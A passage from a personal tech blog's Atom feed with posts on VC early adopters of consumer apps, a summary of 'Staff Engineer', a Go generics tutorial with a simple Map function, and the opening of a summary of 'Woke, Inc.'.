]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">VCs are anti-personas for a B2C startup</title><link href="https://ashishb.net/tech/vcs-are-anti-users-for-a-b2c-startup/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/timing/?utm_source=atom_feed" rel="related" type="text/html" title="Timing"/><link href="https://ashishb.net/tech/real-vs-theoretical-engineering-productivity/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs Theoretical Engineering Productivity"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/too-much-documentation-is-harmful/?utm_source=atom_feed" rel="related" type="text/html" title="Too much documentation is harmful"/><link href="https://ashishb.net/tech/engineering-stack/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering stack"/><id>https://ashishb.net/tech/vcs-are-anti-users-for-a-b2c-startup/</id><author><name>Ashish Bhatia</name></author><published>2023-04-16T16:00:06+00:00</published><updated>2023-04-16T16:00:06+00:00</updated><content type="html"><![CDATA[<blockquote>Early adopters of Instagram, WhatsApp, and Gmail were not VCs, unlike ClubHouse. Discover why this VC-driven trend questions ClubHouse&rsquo;s success.</blockquote><p>The early adopters of Instagram were not VCs.</p>
<p>The early adopters of WhatsApp were not VCs.</p>
<p>The early adopters of Gmail were not VCs.</p>
<p>However, the early adopters of ClubHouse were VCs.</p>
<p>The jury is still out but it is already questionable whether ClubHouse will succeed or not.</p>
<blockquote>
<p>Hard to think of a precedent for this   
    
    
<a href="https://t.co/f2R1hRitqk?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pic.twitter.com/f2R1hRitqk</a></p>
<p>— Benedict Evans (@benedictevans)   
    
    
<a href="https://twitter.com/benedictevans/status/1644037829180239873?ref_src=twsrc%5Etfw&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">April 6, 2023</a></p></blockquote>
<p>One can say with the benefit of hindsight though that the initial hype was probably less organic adoption and more VC chatter.</p>
<p>The VC industry is small, ~5000 as per chatGPT, to 80,000 if you believe in Google&rsquo;s Bard.</p>
<p>The adoption of a business-to-consumer (B2C) product among highly ambitious, high-IQ, affluent users should be seen as a symbol of niche product-market fit and not success.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Book Summary: Staff Engineer by Will Larson</title><link href="https://ashishb.net/book-summary/staff-engineer/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="related" type="text/html" title='Notable quotes from "How to Live" by Derek Sivers'/><link href="https://ashishb.net/book-summary/what-i-learned-losing-a-million-dollars-by-jim-paul/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: What I learned losing a million dollars by Jim Paul"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/the-half-life-of-facts/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The half-life of Facts by Samuel Arbesman"/><link href="https://ashishb.net/book-summary/the-new-confessions-of-an-economic-hit-man/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The New Confessions of an Economic Hit Man"/><id>https://ashishb.net/book-summary/staff-engineer/</id><author><name>Ashish Bhatia</name></author><published>2023-04-09T16:00:33+00:00</published><updated>2023-04-09T16:00:33+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the key traits and responsibilities of a Staff Engineer, from technical strategies to organizational culture influence</blockquote><p>The   
    
    
<a href="https://amzn.to/43h9OdI?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> talks about what it means to be a staff engineer. It is an interesting read for those who would prefer to stay on the engineering as opposed to the management track of career growth.</p>
<p>There are four common archetypes of a Staff Engineer</p>
<ol>
<li>Tech Lead - usually leads a single project</li>
<li>Architect - usually focuses on a single area (and all projects within it)</li>
<li>Solver - jumps from one hotspot to another</li>
<li>Right hand - to an executive, providing technical leadership</li>
</ol>
<h3 id="what-to-do">What to do</h3>
<ol>
<li>One advantage of writing code in a staff role is that one&rsquo;s technical strategy is guided by on-the-ground experience.</li>
<li>Develop precise definitions, for example, for technical code quality. The definition does not have to be rigid and can evolve over time.</li>
<li>For things like technical code quality, it is best to start with small improvements and iterate slowly. In complex systems with interdependencies, moving quickly results in good optics but it&rsquo;s the methodical movement that gets the job done.</li>
<li>Continued growth requires learning to incorporate your worldview into the worldviews of those around you. It accelerates overall progress even if it means tolerating a detour from your original vision.</li>
<li>A staff engineer should be able to think about various engineering decisions as a series of tradeoffs.</li>
<li>Do spend time reading good-quality   
    
    
<a href="https://paperswelove.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">computer science papers</a>.</li>
<li>Sometimes, it is important to see things without the full historical context.</li>
<li>To become a senior technical director, you must build a deep perspective on technology and architecture. To operate as such a leader, you must then develop an equally deep pragmatism and agnosticism to technical religion to remain skeptical of yourself.</li>
<li>The intern cares about a small aspect of the feature that can be built in three months. The full-time engineer cares about the entire lifecycle of the feature. The team lead cares about the suite of features that form a product. The director cares about the suite of products owned by the organization.</li>
</ol>
<h3 id="what-to-avoid">What to avoid</h3>
<ol>
<li>Low-effort low-impact work is like a &ldquo;snack&rdquo;. Avoid snacking.</li>
<li>Low-impact high-visibility work is &ldquo;preening&rdquo;. Avoid preening.</li>
<li>The right reason to go into engineering management is to support other people.</li>
<li>To grow, you have to escape from where you are best to where you will be average.</li>
</ol>
<h3 id="organizational-priorities">Organizational Priorities</h3>
<ol>
<li>In a staff role, you are accountable to the business and organization first and yourself second.</li>
<li>Sometimes the current business is too valuable to prioritize a new business direction even if the current growth rate is slowing down. Organizations, in such cases, form new teams with a few trusted individuals to explore a new direction.</li>
<li>Teaching a company to value something it doesn&rsquo;t care about is one of the hardest works. It often fails. Do as little of it as you can but no less.</li>
</ol>
<h3 id="organizational-culture">Organizational Culture</h3>
<ol>
<li>One problem with not having formal gauges of seniority is that it leads to informal gauges of seniority. They might seem to evaluate an idea objectively but become a broad vector of bias, conflating confidence with competence.</li>
<li>Two most effective ways to deal with jerks -
<ol>
<li>Include their manager in the meeting</li>
<li>Invest heavily in aligning with them before the meeting so that they feel heard</li>
</ol>
</li>
<li>Opportunities are never evenly distributed. If a company sees infrastructure engineering as more complex then opportunities will consolidate in infrastructure teams. If the company emphasizes shipping features then it is easier to be rewarded for fixing an outage you cause instead of preventing future outages. Your work will get more visibility in headquarter than in a distributed office.</li>
<li>To reach senior levels, it is not only important to enter the rooms but to stay in them.</li>
<li>To be promoted to a leadership role, the most important kind of internal visibility is executive visibility.</li>
<li>Well-run organizations value you for what you are good at. Less well-run ones will value you for your identity.</li>
<li>Some companies are meritocratic. Some are proceduralists. Neither is superior. However, it is best to pick one that aligns with one&rsquo;s personality.</li>
</ol>
<h3 id="relationship-with-your-manager">Relationship with your Manager</h3>
<ol>
<li>Develop a relationship with your manager where they trust you, and you implicitly trust them. Building this trust requires delivering on things they ask you to work on.</li>
<li>Never surprise your manager.</li>
<li>If you spend six months trying to proactively fix the relationship with your manager, and it doesn&rsquo;t work then it is time to move on to a different team or a company.</li>
</ol>
<h3 id="communication">Communication</h3>
<ol>
<li>SQCA (Situation, Complication, Question, Answer) is a good format for writing documents.</li>
<li>Your ability to collaborate with a specific person could be easier if a relationship was built beforehand.</li>
<li>Understanding something is only half the battle. Expressing it clearly is equally important.</li>
</ol>
<h3 id="mentoring">Mentoring</h3>
<ol>
<li>Mentoring junior is an important part of the staff role.</li>
<li>Never ignore existential issues. Companies operate in an eternal iterative elimination tournament, balancing future success against current survival. If you see your company is about to lose one of those rounds, then always focus there.</li>
<li>When sponsoring someone to grow, instead of involving someone in your work, make the work theirs.</li>
<li>The only way to remain a long-term leader of a genuinely successful company is to continually create space for others to take recognition, reward, and work that got you to where you are.</li>
</ol>
<h3 id="job-changes">Job changes</h3>
<ol>
<li>If you are being interviewed by junior engineers, you are not being hired for a senior role.</li>
<li>When switching jobs find the best available opportunity, not the first available opportunity.</li>
<li>At small companies, you get to do many different things. At larger companies, you can specialize in your passions.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Generics in Go</title><link href="https://ashishb.net/programming/generics-in-go/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/?utm_source=atom_feed" rel="related" type="text/html" title="How to setup Go packages under monorepo"/><link href="https://ashishb.net/programming/inheritance-in-go-language/?utm_source=atom_feed" rel="related" type="text/html" title="Inheritance in Go language"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/python-in-production/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Python in production"/><id>https://ashishb.net/programming/generics-in-go/</id><author><name>Ashish Bhatia</name></author><published>2023-04-02T16:00:45+00:00</published><updated>2023-04-02T16:00:45+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how Go&rsquo;s generics, introduced in Go 1.18, enhance code reusability with a simple example. Learn to implement generic functions effortlessly!</blockquote><p>Generics in Go were added about a year back in Go 1.18. In my experience they are great and they fix one of the biggest roadblocks in terms of writing reusable code in Go. I&rsquo;ll illustrate that with an example.</p>
<p>First, do ensure that you have at least Go 1.18</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ go version
</span></span><span style="display:flex;"><span>go version go1.19.1 darwin/amd64</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Let&rsquo;s consider a simple case of implementing a <code>Map</code> function in Go that maps an array (well, a slice) to another array (again, actually, a slice).</p>
<p>First, let&rsquo;s start with a non-generic implementation</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">Map</span>(input []<span style="color:#dc322f">int</span>, mapFunc <span style="color:#268bd2">func</span>(<span style="color:#dc322f">int</span>)<span style="color:#dc322f">int</span>) []<span style="color:#dc322f">int</span> {
</span></span><span style="display:flex;"><span>  output <span style="color:#719e07">:=</span> <span style="color:#b58900">make</span>([]<span style="color:#dc322f">int</span>, <span style="color:#2aa198">0</span>, <span style="color:#b58900">len</span>(input))
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">for</span> _, val <span style="color:#719e07">:=</span> <span style="color:#719e07">range</span> input {
</span></span><span style="display:flex;"><span>    output = <span style="color:#b58900">append</span>(output, <span style="color:#268bd2">mapFunc</span>(val))
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> output
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>  input <span style="color:#719e07">:=</span> []<span style="color:#dc322f">int</span> {<span style="color:#2aa198">1</span>,<span style="color:#2aa198">2</span>,<span style="color:#2aa198">3</span>}
</span></span><span style="display:flex;"><span>  squared <span style="color:#719e07">:=</span> <span style="color:#268bd2">func</span>(x <span style="color:#dc322f">int</span>) <span style="color:#dc322f">int</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> x <span style="color:#719e07">*</span> x
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  output <span style="color:#719e07">:=</span> <span style="color:#268bd2">Map</span>(input, squared)
</span></span><span style="display:flex;"><span>  fmt.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;%+v\n&#34;</span>, output)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And now let&rsquo;s generalize the <code>Map</code> function, notice that, in most cases, the caller wouldn&rsquo;t change at all.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">9
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#586e75">// A is the input type</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// B is the output type</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> Map[A <span style="color:#dc322f">any</span>,B <span style="color:#dc322f">any</span>](input []A, mapFunc <span style="color:#268bd2">func</span>(A)B) []B {
</span></span><span style="display:flex;"><span>  output <span style="color:#719e07">:=</span> <span style="color:#b58900">make</span>([]B, <span style="color:#2aa198">0</span>, <span style="color:#b58900">len</span>(input))
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">for</span> _, val <span style="color:#719e07">:=</span> <span style="color:#719e07">range</span> input {
</span></span><span style="display:flex;"><span>    output = <span style="color:#b58900">append</span>(output, <span style="color:#268bd2">mapFunc</span>(val))
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> output
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/go" term="go" label="go"/></entry><entry><title type="html">Book Summary: Woke, Inc. by Vivek Ramaswamy</title><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary of Sum: Forty Tales From The Afterlives"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><id>https://ashishb.net/book-summary/woke-inc/</id><author><name>Ashish Bhatia</name></author><published>2023-03-25T16:00:01+00:00</published><updated>2023-03-25T16:00:01+00:00</updated><content type="html"><![CDATA[<blockquote>Explore corporate America&rsquo;s controversial merger with woke social justice in Vivek&rsquo;s book. Discover how CEOs influence values, stakeholder capitalism, and more.</blockquote><p>The   
    
    
<a href="https://amzn.to/3uX2aVc?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> takes a nuanced take on the uncanny marriage of corporate America and the &ldquo;woke&rdquo; social justice movements. The author,   
    
    
<a href="https://www.linkedin.com/in/vivekgramaswamy/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vivek</a>, was born to an immigrant Indian family, studied at Harvard, worked on wall street, and started his own biotechnology company before writing this book.</p>
<ol>
<li>Democratically elected leaders and not rich CEOs should define what values define America. CEOs like Larry Fink use market power to define those values while avoiding the public debate aspect of being a politician.  Jamie Dimon, JP Morgan CEO   
    
    
<a href="https://www.businessinsider.com/jamie-dimon-i-would-love-to-be-president-of-the-united-states-2016-9?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">said</a> in 2019, &ldquo;I would love to be president, I just don&rsquo;t like the idea of running for president&rdquo;. That&rsquo;s what many CEOs want, quasi-political power, without any accountability to the voters. When companies write checks to political parties, they influence politics. But it is even worse when they try to influence politics by taking public stands on political issues. Now, the employees of those companies are uncomfortable with the opposing viewpoint. A democracy thrives on dissent. A theocracy, like wokeness, cannot tolerate it.</li>
<li>Stakeholder capitalism demands that corporations use money to influence politics with values of their choice. Every vote counts in an election. However, in stakeholder capitalism, dollars influence the outcomes. And as apolitical institutions disappear, social solidarity goes down. And that stifles public opinion. Stakeholder capitalism poisons democracy. Partisan politics poisons capitalism. In the end, we are left with neither capitalism nor democracy. Limited Liability Corporation (LLC) isn&rsquo;t just about creating the right incentives for the shareholders. But also about protecting democracy from profit-making enterprises. Woke consumerism is born when woke companies prey on the insecurities and vulnerabilities of their customers. Woke CEOs and investors trick the consumer into believing that by engaging in normal acts of consumption, we are fulfilling our social obligations.</li>
<li>The woke movement is a   
    
    
<a href="https://www.theatlantic.com/ideas/archive/2018/12/why-third-wave-anti-racism-dead-end/578764/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">religious</a> movement. Diversity experts are the grand inquisitors. The corporate CEOs are followers of these inquisitors (some out of worship and some out of fear). Corporate employees are required to confess their sins at this temple of diversity. &ldquo;White privilege&rdquo; and &ldquo;patriarchy&rdquo; are their sins; for Asians, being   
    
    
